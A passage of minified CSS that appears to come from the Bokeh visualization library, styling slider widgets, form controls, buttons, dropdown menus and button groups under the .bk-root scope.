.bk-noUi-value{position:absolute;white-space:nowrap;text-align:center}.bk-root .bk-noUi-value-sub{color:#ccc;font-size:10px}.bk-root .bk-noUi-marker{position:absolute;background:#CCC}.bk-root .bk-noUi-marker-sub{background:#AAA}.bk-root .bk-noUi-marker-large{background:#AAA}.bk-root .bk-noUi-pips-horizontal{padding:10px 0;height:80px;top:100%;left:0;width:100%}.bk-root .bk-noUi-value-horizontal{-webkit-transform:translate3d(-50%,50%,0);transform:translate3d(-50%,50%,0)}.bk-root .bk-noUi-marker-horizontal.bk-noUi-marker{margin-left:-1px;width:2px;height:5px}.bk-root .bk-noUi-marker-horizontal.bk-noUi-marker-sub{height:10px}.bk-root .bk-noUi-marker-horizontal.bk-noUi-marker-large{height:15px}.bk-root .bk-noUi-pips-vertical{padding:0 10px;height:100%;top:0;left:100%}.bk-root .bk-noUi-value-vertical{-webkit-transform:translate3d(0,50%,0);transform:translate3d(0,50%,0);padding-left:25px}.bk-root .bk-noUi-marker-vertical.bk-noUi-marker{width:5px;height:2px;margin-top:-1px}.bk-root .bk-noUi-marker-vertical.bk-noUi-marker-sub{width:10px}.bk-root .bk-noUi-marker-vertical.bk-noUi-marker-large{width:15px}.bk-root .bk-noUi-tooltip{display:block;position:absolute;border:1px solid #d9d9d9;border-radius:3px;background:#fff;color:#000;padding:5px;text-align:center;white-space:nowrap}.bk-root .bk-noUi-horizontal .bk-noUi-tooltip{-webkit-transform:translate(-50%,0);transform:translate(-50%,0);left:50%;bottom:120%}.bk-root .bk-noUi-vertical .bk-noUi-tooltip{-webkit-transform:translate(0,-50%);transform:translate(0,-50%);top:50%;right:120%}.bk-root .bk-noUi-handle{cursor:grab;cursor:-webkit-grab}.bk-root .bk-noUi-handle.bk-noUi-active{cursor:grabbing;cursor:-webkit-grabbing}.bk-root .bk-noUi-tooltip{display:none;white-space:nowrap}.bk-root .bk-noUi-handle:hover .bk-noUi-tooltip{display:block}.bk-root .bk-noUi-horizontal{width:100%;height:10px}.bk-root .bk-noUi-horizontal .bk-noUi-handle{width:14px;height:18px;left:-7px;top:-5px}.bk-root .bk-noUi-vertical{width:10px;height:100%}.bk-root .bk-noUi-vertical .bk-noUi-handle{width:18px;height:14px;left:-5px;top:-7px}.bk-root .bk-noUi-handle:after,.bk-root .bk-noUi-handle:before{display:none}.bk-root .bk-noUi-connect{box-shadow:none}.bk-root fieldset{padding:0;margin:0;border:0;min-width:0}.bk-root legend{display:block;width:100%;padding:0;margin-bottom:17px;line-height:inherit;color:#333;border:0;border-bottom:1px solid #e5e5e5}.bk-root label{display:inline-block;margin-bottom:5px}.bk-root input[type=\\\\\\\"search\\\\\\\"]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.bk-root input[type=\\\\\\\"radio\\\\\\\"],.bk-root input[type=\\\\\\\"checkbox\\\\\\\"]{margin:4px 0 0;margin-top:1px \\\\\\\\9;line-height:normal}.bk-root input[type=\\\\\\\"file\\\\\\\"]{display:block}.bk-root input[type=\\\\\\\"range\\\\\\\"]{display:block;width:100%}.bk-root select[multiple],.bk-root select[size]{height:auto}.bk-root input[type=\\\\\\\"file\\\\\\\"]:focus,.bk-root input[type=\\\\\\\"radio\\\\\\\"]:focus,.bk-root input[type=\\\\\\\"checkbox\\\\\\\"]:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.bk-root output{display:block;padding-top:7px;line-height:1.42857143;color:#555}.bk-root .bk-bs-form-control{display:block;height:31px;padding:0 12px;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px}.bk-root .bk-bs-form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,0.6)}.bk-root .bk-bs-form-control::-moz-placeholder{color:#999;opacity:1}.bk-root .bk-bs-form-control:-ms-input-placeholder{color:#999}.bk-root .bk-bs-form-control::-webkit-input-placeholder{color:#999}.bk-root .bk-bs-form-control[disabled],.bk-root .bk-bs-form-control[readonly],fieldset[disabled] .bk-root .bk-bs-form-control{cursor:not-allowed;background-color:#eee;opacity:1}textarea.bk-root .bk-bs-form-control{height:auto}.bk-root input[type=\\\\\\\"search\\\\\\\"]{-webkit-appearance:none}.bk-root input[type=\\\\\\\"date\\\\\\\"]{line-height:31px}.bk-root .bk-bs-form-group{margin-bottom:15px}.bk-root .bk-bs-radio,.bk-root .bk-bs-checkbox{display:block;min-height:17px;margin-top:10px;margin-bottom:10px;padding-left:20px}.bk-root .bk-bs-radio label,.bk-root .bk-bs-checkbox label{display:inline;font-weight:normal;cursor:pointer}.bk-root .bk-bs-radio input[type=\\\\\\\"radio\\\\\\\"],.bk-root .bk-bs-radio-inline input[type=\\\\\\\"radio\\\\\\\"],.bk-root .bk-bs-checkbox input[type=\\\\\\\"checkbox\\\\\\\"],.bk-root .bk-bs-checkbox-inline input[type=\\\\\\\"checkbox\\\\\\\"]{float:left;margin-left:-20px}.bk-root .bk-bs-radio+.bk-bs-radio,.bk-root .bk-bs-checkbox+.bk-bs-checkbox{margin-top:-5px}.bk-root .bk-bs-radio-inline,.bk-root .bk-bs-checkbox-inline{display:inline-block;padding-left:20px;margin-bottom:0;vertical-align:middle;font-weight:normal;cursor:pointer}.bk-root .bk-bs-radio-inline+.bk-bs-radio-inline,.bk-root .bk-bs-checkbox-inline+.bk-bs-checkbox-inline{margin-top:0;margin-left:10px}.bk-root input[type=\\\\\\\"radio\\\\\\\"][disabled],.bk-root input[type=\\\\\\\"checkbox\\\\\\\"][disabled],.bk-root .bk-bs-radio[disabled],.bk-root .bk-bs-radio-inline[disabled],.bk-root .bk-bs-checkbox[disabled],.bk-root .bk-bs-checkbox-inline[disabled],fieldset[disabled] .bk-root input[type=\\\\\\\"radio\\\\\\\"],fieldset[disabled] .bk-root input[type=\\\\\\\"checkbox\\\\\\\"],fieldset[disabled] .bk-root .bk-bs-radio,fieldset[disabled] .bk-root .bk-bs-radio-inline,fieldset[disabled] .bk-root .bk-bs-checkbox,fieldset[disabled] .bk-root .bk-bs-checkbox-inline{cursor:not-allowed}.bk-root .bk-bs-input-sm{height:28px;padding:5px 10px;font-size:11px;line-height:1.5;border-radius:3px}select.bk-root .bk-bs-input-sm{height:28px;line-height:28px}textarea.bk-root .bk-bs-input-sm,select[multiple].bk-root .bk-bs-input-sm{height:auto}.bk-root .bk-bs-input-lg{height:42px;padding:10px 16px;font-size:15px;line-height:1.33;border-radius:6px}select.bk-root .bk-bs-input-lg{height:42px;line-height:42px}textarea.bk-root .bk-bs-input-lg,select[multiple].bk-root .bk-bs-input-lg{height:auto}.bk-root .bk-bs-has-feedback{position:relative}.bk-root .bk-bs-has-feedback .bk-bs-form-control{padding-right:38.75px}.bk-root .bk-bs-has-feedback .bk-bs-form-control-feedback{position:absolute;top:22px;right:0;display:block;width:31px;height:31px;line-height:31px;text-align:center}.bk-root .bk-bs-has-success .bk-bs-help-block,.bk-root .bk-bs-has-success .bk-bs-control-label,.bk-root .bk-bs-has-success .bk-bs-radio,.bk-root .bk-bs-has-success .bk-bs-checkbox,.bk-root .bk-bs-has-success .bk-bs-radio-inline,.bk-root .bk-bs-has-success .bk-bs-checkbox-inline{color:#3c763d}.bk-root .bk-bs-has-success .bk-bs-form-control{border-color:#3c763d;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.bk-root .bk-bs-has-success .bk-bs-form-control:focus{border-color:#2b542c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #67b168}.bk-root .bk-bs-has-success .bk-bs-input-group-addon{color:#3c763d;border-color:#3c763d;background-color:#dff0d8}.bk-root .bk-bs-has-success .bk-bs-form-control-feedback{color:#3c763d}.bk-root .bk-bs-has-warning .bk-bs-help-block,.bk-root .bk-bs-has-warning .bk-bs-control-label,.bk-root .bk-bs-has-warning .bk-bs-radio,.bk-root .bk-bs-has-warning .bk-bs-checkbox,.bk-root .bk-bs-has-warning .bk-bs-radio-inline,.bk-root .bk-bs-has-warning .bk-bs-checkbox-inline{color:#8a6d3b}.bk-root .bk-bs-has-warning .bk-bs-form-control{border-color:#8a6d3b;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.bk-root .bk-bs-has-warning .bk-bs-form-control:focus{border-color:#66512c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #c0a16b}.bk-root .bk-bs-has-warning .bk-bs-input-group-addon{color:#8a6d3b;border-color:#8a6d3b;background-color:#fcf8e3}.bk-root .bk-bs-has-warning .bk-bs-form-control-feedback{color:#8a6d3b}.bk-root .bk-bs-has-error .bk-bs-help-block,.bk-root .bk-bs-has-error .bk-bs-control-label,.bk-root .bk-bs-has-error .bk-bs-radio,.bk-root .bk-bs-has-error .bk-bs-checkbox,.bk-root .bk-bs-has-error .bk-bs-radio-inline,.bk-root .bk-bs-has-error .bk-bs-checkbox-inline{color:#a94442}.bk-root .bk-bs-has-error .bk-bs-form-control{border-color:#a94442;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.bk-root .bk-bs-has-error .bk-bs-form-control:focus{border-color:#843534;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #ce8483}.bk-root .bk-bs-has-error .bk-bs-input-group-addon{color:#a94442;border-color:#a94442;background-color:#f2dede}.bk-root .bk-bs-has-error .bk-bs-form-control-feedback{color:#a94442}.bk-root .bk-bs-form-control-static{margin-bottom:0}.bk-root .bk-bs-help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373}@media(min-width:768px){.bk-root .bk-bs-form-inline .bk-bs-form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.bk-root .bk-bs-form-inline .bk-bs-form-control{display:inline-block;width:auto;vertical-align:middle}.bk-root .bk-bs-form-inline .bk-bs-input-group>.bk-bs-form-control{width:100%}.bk-root .bk-bs-form-inline .bk-bs-control-label{margin-bottom:0;vertical-align:middle}.bk-root .bk-bs-form-inline .bk-bs-radio,.bk-root .bk-bs-form-inline .bk-bs-checkbox{display:inline-block;margin-top:0;margin-bottom:0;padding-left:0;vertical-align:middle}.bk-root .bk-bs-form-inline .bk-bs-radio input[type=\\\\\\\"radio\\\\\\\"],.bk-root .bk-bs-form-inline .bk-bs-checkbox input[type=\\\\\\\"checkbox\\\\\\\"]{float:none;margin-left:0}.bk-root .bk-bs-form-inline .bk-bs-has-feedback .bk-bs-form-control-feedback{top:0}}.bk-root .bk-bs-form-horizontal .bk-bs-control-label,.bk-root .bk-bs-form-horizontal .bk-bs-radio,.bk-root .bk-bs-form-horizontal .bk-bs-checkbox,.bk-root .bk-bs-form-horizontal .bk-bs-radio-inline,.bk-root .bk-bs-form-horizontal .bk-bs-checkbox-inline{margin-top:0;margin-bottom:0;padding-top:7px}.bk-root .bk-bs-form-horizontal .bk-bs-radio,.bk-root .bk-bs-form-horizontal .bk-bs-checkbox{min-height:24px}.bk-root .bk-bs-form-horizontal .bk-bs-form-group{margin-left:-15px;margin-right:-15px}.bk-root .bk-bs-form-horizontal .bk-bs-form-control-static{padding-top:7px}@media(min-width:768px){.bk-root .bk-bs-form-horizontal .bk-bs-control-label{text-align:right}}.bk-root .bk-bs-form-horizontal .bk-bs-has-feedback .bk-bs-form-control-feedback{top:0;right:15px}.bk-root .bk-bs-btn{display:inline-block;margin-bottom:0;font-weight:normal;text-align:center;vertical-align:middle;cursor:pointer;background-image:none;border:1px solid transparent;white-space:nowrap;padding:6px 12px;font-size:12px;line-height:1.42857143;border-radius:4px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.bk-root .bk-bs-btn:focus,.bk-root .bk-bs-btn:active:focus,.bk-root .bk-bs-btn.bk-bs-active:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.bk-root .bk-bs-btn:hover,.bk-root .bk-bs-btn:focus{color:#333;text-decoration:none}.bk-root .bk-bs-btn:active,.bk-root .bk-bs-btn.bk-bs-active{outline:0;background-image:none;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,0.125);box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.bk-root .bk-bs-btn.bk-bs-disabled,.bk-root .bk-bs-btn[disabled],fieldset[disabled] .bk-root .bk-bs-btn{cursor:not-allowed;pointer-events:none;opacity:.65;filter:alpha(opacity=65);-webkit-box-shadow:none;box-shadow:none}.bk-root .bk-bs-btn-default{color:#333;background-color:#fff;border-color:#ccc}.bk-root .bk-bs-btn-default:hover,.bk-root .bk-bs-btn-default:focus,.bk-root .bk-bs-btn-default:active,.bk-root .bk-bs-btn-default.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-default{color:#333;background-color:#ebebeb;border-color:#adadad}.bk-root .bk-bs-btn-default:active,.bk-root .bk-bs-btn-default.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-default{background-image:none}.bk-root .bk-bs-btn-default.bk-bs-disabled,.bk-root .bk-bs-btn-default[disabled],fieldset[disabled] .bk-root .bk-bs-btn-default,.bk-root .bk-bs-btn-default.bk-bs-disabled:hover,.bk-root .bk-bs-btn-default[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-default:hover,.bk-root .bk-bs-btn-default.bk-bs-disabled:focus,.bk-root .bk-bs-btn-default[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-default:focus,.bk-root .bk-bs-btn-default.bk-bs-disabled:active,.bk-root .bk-bs-btn-default[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-default:active,.bk-root .bk-bs-btn-default.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-default[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-default.bk-bs-active{background-color:#fff;border-color:#ccc}.bk-root .bk-bs-btn-default .bk-bs-badge{color:#fff;background-color:#333}.bk-root .bk-bs-btn-primary{color:#fff;background-color:#428bca;border-color:#357ebd}.bk-root .bk-bs-btn-primary:hover,.bk-root .bk-bs-btn-primary:focus,.bk-root .bk-bs-btn-primary:active,.bk-root .bk-bs-btn-primary.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-primary{color:#fff;background-color:#3276b1;border-color:#285e8e}.bk-root .bk-bs-btn-primary:active,.bk-root .bk-bs-btn-primary.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-primary{background-image:none}.bk-root .bk-bs-btn-primary.bk-bs-disabled,.bk-root .bk-bs-btn-primary[disabled],fieldset[disabled] .bk-root .bk-bs-btn-primary,.bk-root .bk-bs-btn-primary.bk-bs-disabled:hover,.bk-root .bk-bs-btn-primary[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-primary:hover,.bk-root .bk-bs-btn-primary.bk-bs-disabled:focus,.bk-root .bk-bs-btn-primary[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-primary:focus,.bk-root .bk-bs-btn-primary.bk-bs-disabled:active,.bk-root .bk-bs-btn-primary[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-primary:active,.bk-root .bk-bs-btn-primary.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-primary[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-primary.bk-bs-active{background-color:#428bca;border-color:#357ebd}.bk-root .bk-bs-btn-primary .bk-bs-badge{color:#428bca;background-color:#fff}.bk-root .bk-bs-btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.bk-root .bk-bs-btn-success:hover,.bk-root .bk-bs-btn-success:focus,.bk-root .bk-bs-btn-success:active,.bk-root .bk-bs-btn-success.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-success{color:#fff;background-color:#47a447;border-color:#398439}.bk-root .bk-bs-btn-success:active,.bk-root .bk-bs-btn-success.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-success{background-image:none}.bk-root .bk-bs-btn-success.bk-bs-disabled,.bk-root .bk-bs-btn-success[disabled],fieldset[disabled] .bk-root .bk-bs-btn-success,.bk-root .bk-bs-btn-success.bk-bs-disabled:hover,.bk-root .bk-bs-btn-success[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-success:hover,.bk-root .bk-bs-btn-success.bk-bs-disabled:focus,.bk-root .bk-bs-btn-success[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-success:focus,.bk-root .bk-bs-btn-success.bk-bs-disabled:active,.bk-root .bk-bs-btn-success[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-success:active,.bk-root .bk-bs-btn-success.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-success[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-success.bk-bs-active{background-color:#5cb85c;border-color:#4cae4c}.bk-root .bk-bs-btn-success .bk-bs-badge{color:#5cb85c;background-color:#fff}.bk-root .bk-bs-btn-info{color:#fff;background-color:#5bc0de;border-color:#46b8da}.bk-root .bk-bs-btn-info:hover,.bk-root .bk-bs-btn-info:focus,.bk-root .bk-bs-btn-info:active,.bk-root .bk-bs-btn-info.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-info{color:#fff;background-color:#39b3d7;border-color:#269abc}.bk-root .bk-bs-btn-info:active,.bk-root .bk-bs-btn-info.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-info{background-image:none}.bk-root .bk-bs-btn-info.bk-bs-disabled,.bk-root .bk-bs-btn-info[disabled],fieldset[disabled] .bk-root .bk-bs-btn-info,.bk-root .bk-bs-btn-info.bk-bs-disabled:hover,.bk-root .bk-bs-btn-info[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-info:hover,.bk-root .bk-bs-btn-info.bk-bs-disabled:focus,.bk-root .bk-bs-btn-info[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-info:focus,.bk-root .bk-bs-btn-info.bk-bs-disabled:active,.bk-root .bk-bs-btn-info[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-info:active,.bk-root .bk-bs-btn-info.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-info[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-info.bk-bs-active{background-color:#5bc0de;border-color:#46b8da}.bk-root .bk-bs-btn-info .bk-bs-badge{color:#5bc0de;background-color:#fff}.bk-root .bk-bs-btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.bk-root .bk-bs-btn-warning:hover,.bk-root .bk-bs-btn-warning:focus,.bk-root .bk-bs-btn-warning:active,.bk-root .bk-bs-btn-warning.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-warning{color:#fff;background-color:#ed9c28;border-color:#d58512}.bk-root .bk-bs-btn-warning:active,.bk-root .bk-bs-btn-warning.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-warning{background-image:none}.bk-root .bk-bs-btn-warning.bk-bs-disabled,.bk-root .bk-bs-btn-warning[disabled],fieldset[disabled] .bk-root .bk-bs-btn-warning,.bk-root .bk-bs-btn-warning.bk-bs-disabled:hover,.bk-root .bk-bs-btn-warning[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-warning:hover,.bk-root .bk-bs-btn-warning.bk-bs-disabled:focus,.bk-root .bk-bs-btn-warning[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-warning:focus,.bk-root .bk-bs-btn-warning.bk-bs-disabled:active,.bk-root .bk-bs-btn-warning[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-warning:active,.bk-root .bk-bs-btn-warning.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-warning[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-warning.bk-bs-active{background-color:#f0ad4e;border-color:#eea236}.bk-root .bk-bs-btn-warning .bk-bs-badge{color:#f0ad4e;background-color:#fff}.bk-root .bk-bs-btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.bk-root .bk-bs-btn-danger:hover,.bk-root .bk-bs-btn-danger:focus,.bk-root .bk-bs-btn-danger:active,.bk-root .bk-bs-btn-danger.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-danger{color:#fff;background-color:#d2322d;border-color:#ac2925}.bk-root .bk-bs-btn-danger:active,.bk-root .bk-bs-btn-danger.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-danger{background-image:none}.bk-root .bk-bs-btn-danger.bk-bs-disabled,.bk-root .bk-bs-btn-danger[disabled],fieldset[disabled] .bk-root .bk-bs-btn-danger,.bk-root .bk-bs-btn-danger.bk-bs-disabled:hover,.bk-root .bk-bs-btn-danger[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-danger:hover,.bk-root .bk-bs-btn-danger.bk-bs-disabled:focus,.bk-root .bk-bs-btn-danger[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-danger:focus,.bk-root .bk-bs-btn-danger.bk-bs-disabled:active,.bk-root .bk-bs-btn-danger[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-danger:active,.bk-root .bk-bs-btn-danger.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-danger[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-danger.bk-bs-active{background-color:#d9534f;border-color:#d43f3a}.bk-root .bk-bs-btn-danger .bk-bs-badge{color:#d9534f;background-color:#fff}.bk-root .bk-bs-btn-link{color:#428bca;font-weight:normal;cursor:pointer;border-radius:0}.bk-root .bk-bs-btn-link,.bk-root .bk-bs-btn-link:active,.bk-root .bk-bs-btn-link[disabled],fieldset[disabled] .bk-root .bk-bs-btn-link{background-color:transparent;-webkit-box-shadow:none;box-shadow:none}.bk-root .bk-bs-btn-link,.bk-root .bk-bs-btn-link:hover,.bk-root .bk-bs-btn-link:focus,.bk-root .bk-bs-btn-link:active{border-color:transparent}.bk-root .bk-bs-btn-link:hover,.bk-root .bk-bs-btn-link:focus{color:#2a6496;text-decoration:underline;background-color:transparent}.bk-root .bk-bs-btn-link[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-link:hover,.bk-root .bk-bs-btn-link[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-link:focus{color:#999;text-decoration:none}.bk-root .bk-bs-btn-lg{padding:10px 16px;font-size:15px;line-height:1.33;border-radius:6px}.bk-root .bk-bs-btn-sm{padding:5px 10px;font-size:11px;line-height:1.5;border-radius:3px}.bk-root .bk-bs-btn-xs{padding:1px 5px;font-size:11px;line-height:1.5;border-radius:3px}.bk-root .bk-bs-btn-block{display:block;width:100%;padding-left:0;padding-right:0}.bk-root .bk-bs-btn-block+.bk-bs-btn-block{margin-top:5px}.bk-root input[type=\\\\\\\"submit\\\\\\\"].bk-bs-btn-block,.bk-root input[type=\\\\\\\"reset\\\\\\\"].bk-bs-btn-block,.bk-root input[type=\\\\\\\"button\\\\\\\"].bk-bs-btn-block{width:100%}.bk-root .bk-bs-caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px solid;border-right:4px solid transparent;border-left:4px solid transparent}.bk-root .bk-bs-dropdown{position:relative}.bk-root .bk-bs-dropdown-toggle:focus{outline:0}.bk-root .bk-bs-dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;list-style:none;font-size:12px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,0.175);box-shadow:0 6px 12px rgba(0,0,0,0.175);background-clip:padding-box}.bk-root .bk-bs-dropdown-menu.bk-bs-pull-right{right:0;left:auto}.bk-root .bk-bs-dropdown-menu .bk-bs-divider{height:1px;margin:7.5px 0;overflow:hidden;background-color:#e5e5e5}.bk-root .bk-bs-dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:normal;line-height:1.42857143;color:#333;white-space:nowrap}.bk-root .bk-bs-dropdown-menu>li>a:hover,.bk-root .bk-bs-dropdown-menu>li>a:focus{text-decoration:none;color:#262626;background-color:#f5f5f5}.bk-root .bk-bs-dropdown-menu>.bk-bs-active>a,.bk-root .bk-bs-dropdown-menu>.bk-bs-active>a:hover,.bk-root .bk-bs-dropdown-menu>.bk-bs-active>a:focus{color:#fff;text-decoration:none;outline:0;background-color:#428bca}.bk-root .bk-bs-dropdown-menu>.bk-bs-disabled>a,.bk-root .bk-bs-dropdown-menu>.bk-bs-disabled>a:hover,.bk-root .bk-bs-dropdown-menu>.bk-bs-disabled>a:focus{color:#999}.bk-root .bk-bs-dropdown-menu>.bk-bs-disabled>a:hover,.bk-root .bk-bs-dropdown-menu>.bk-bs-disabled>a:focus{text-decoration:none;background-color:transparent;background-image:none;filter:progid:DXImageTransform.bk-bs-Microsoft.bk-bs-gradient(enabled = false);cursor:not-allowed}.bk-root .bk-bs-open>.bk-bs-dropdown-menu{display:block}.bk-root .bk-bs-open>a{outline:0}.bk-root .bk-bs-dropdown-menu-right{left:auto;right:0}.bk-root .bk-bs-dropdown-menu-left{left:0;right:auto}.bk-root .bk-bs-dropdown-header{display:block;padding:3px 20px;font-size:11px;line-height:1.42857143;color:#999}.bk-root .bk-bs-dropdown-backdrop{position:fixed;left:0;right:0;bottom:0;top:0;z-index:990}.bk-root .bk-bs-pull-right>.bk-bs-dropdown-menu{right:0;left:auto}.bk-root .bk-bs-dropup .bk-bs-caret,.bk-root .bk-bs-navbar-fixed-bottom .bk-bs-dropdown .bk-bs-caret{border-top:0;border-bottom:4px solid;content:\\\\\\\"\\\\\\\"}.bk-root .bk-bs-dropup .bk-bs-dropdown-menu,.bk-root .bk-bs-navbar-fixed-bottom .bk-bs-dropdown .bk-bs-dropdown-menu{top:auto;bottom:100%;margin-bottom:1px}@media(min-width:768px){.bk-root .bk-bs-navbar-right .bk-bs-dropdown-menu{left:auto;right:0}.bk-root .bk-bs-navbar-right .bk-bs-dropdown-menu-left{left:0;right:auto}}.bk-root .bk-bs-btn-group,.bk-root .bk-bs-btn-group-vertical{position:relative;display:inline-block;vertical-align:middle}.bk-root .bk-bs-btn-group>.bk-bs-btn,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn{position:relative;float:left}.bk-root .bk-bs-btn-group>.bk-bs-btn:hover,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:hover,.bk-root .bk-bs-btn-group>.bk-bs-btn:focus,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:focus,.bk-root .bk-bs-btn-group>.bk-bs-btn:active,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:active,.bk-root .bk-bs-btn-group>.bk-bs-btn.bk-bs-active,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn.bk-bs-active{z-index:2}.bk-root .bk-bs-btn-group>.bk-bs-btn:focus,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:focus{outline:0}.bk-root .bk-bs-btn-group .bk-bs-btn+.bk-bs-btn,.bk-root .bk-bs-btn-group .bk-bs-btn+.bk-bs-btn-group,.bk-root .bk-bs-btn-group .bk-bs-btn-group+.bk-bs-btn,.bk-root .bk-bs-btn-group .bk-bs-btn-group+.bk-bs-btn-group{margin-left:-1px}.bk-root .bk-bs-btn-toolbar{margin-left:-5px}.bk-root .bk-bs-btn-toolbar .bk-bs-btn-group,.bk-root .bk-bs-btn-toolbar .bk-bs-input-group{float:left}.bk-root .bk-bs-btn-toolbar>.bk-bs-btn,.bk-root .bk-bs-btn-toolbar>.bk-bs-btn-group,.bk-root .bk-bs-btn-toolbar>.bk-bs-input-group{margin-left:5px}.bk-root .bk-bs-btn-group>.bk-bs-btn:not(:first-child):not(:last-child):not(.bk-bs-dropdown-toggle){border-radius:0}.bk-root .bk-bs-btn-group>.bk-bs-btn:first-child{margin-left:0}.bk-root .bk-bs-btn-group>.bk-bs-btn:first-child:not(:last-child):not(.bk-bs-dropdown-toggle){border-bottom-right-radius:0;border-top-right-radius:0}.bk-root .bk-bs-btn-group>.bk-bs-btn:last-child:not(:first-child),.bk-root .bk-bs-btn-group>.bk-bs-dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0}.bk-root .bk-bs-btn-group>.bk-bs-btn-group{float:left}.bk-root .bk-bs-btn-group>.bk-bs-btn-group:not(:first-child):not(:last-child)>.bk-bs-btn{border-radius:0}.bk-root .bk-bs-btn-group>.bk-bs-btn-group:first-child>.bk-bs-btn:last-child,.bk-root .bk-bs-btn-group>.bk-bs-btn-group:first-child>.bk-bs-dropdown-toggle{border-bottom-right-radius:0;border-top-right-radius:0}.bk-root .bk-bs-btn-group>.bk-bs-btn-group:last-child>.bk-bs-btn:first-child{border-bottom-left-radius:0;border-top-left-radius:0}.bk-root .bk-bs-btn-group .bk-bs-dropdown-toggle:active,.bk-root .bk-bs-btn-group.bk-bs-open .bk-bs-dropdown-toggle{outline:0}.bk-root 